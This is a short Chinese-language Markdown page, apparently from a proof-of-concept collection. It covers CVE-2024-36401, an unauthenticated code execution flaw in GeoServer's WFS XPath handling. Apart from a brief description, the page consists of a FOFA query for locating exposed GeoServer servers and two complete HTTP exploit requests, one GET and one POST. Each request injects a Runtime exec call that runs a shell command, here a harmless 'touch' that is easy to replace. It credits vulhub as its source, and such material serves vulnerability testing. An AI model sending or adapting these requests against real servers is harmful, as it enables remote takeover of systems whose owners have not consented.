52 lines
1.9 KiB
Markdown
52 lines
1.9 KiB
Markdown
|
## GeoServer属性名表达式前台代码执行漏洞(CVE-2024-36401)
|
|||
|
|
|
|||
|
|
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现，利用 GeoServer 可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作。
|
|||
|
|
|
|||
|
|
在GeoServer 2.25.1， 2.24.3， 2.23.5版本及以前，未登录的任意用户可以通过构造恶意OGC请求，在默认安装的服务器中执行XPath表达式，进而利用执行Apache Commons Jxpath提供的功能执行任意代码。
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="GeoServer"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
|
|||
|
|
```yaml
|
|||
|
|
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
|
|||
|
|
Host: your-ip:8080
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
|
|||
|
|
Connection: close
|
|||
|
|
Cache-Control: max-age=0
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```yaml
|
|||
|
|
POST /geoserver/wfs HTTP/1.1
|
|||
|
|
Host: your-ip:8080
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
|
|||
|
|
Connection: close
|
|||
|
|
Cache-Control: max-age=0
|
|||
|
|
Content-Type: application/xml
|
|||
|
|
Content-Length: 356
|
|||
|
|
|
|||
|
|
<wfs:GetPropertyValue service='WFS' version='2.0.0'
|
|||
|
|
xmlns:topp='http://www.openplans.org/topp'
|
|||
|
|
xmlns:fes='http://www.opengis.net/fes/2.0'
|
|||
|
|
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
|
|||
|
|
<wfs:Query typeNames='sf:archsites'/>
|
|||
|
|
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
|
|||
|
|
</wfs:GetPropertyValue>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 漏洞来源
|
|||
|
|
|
|||
|
|
- https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md
|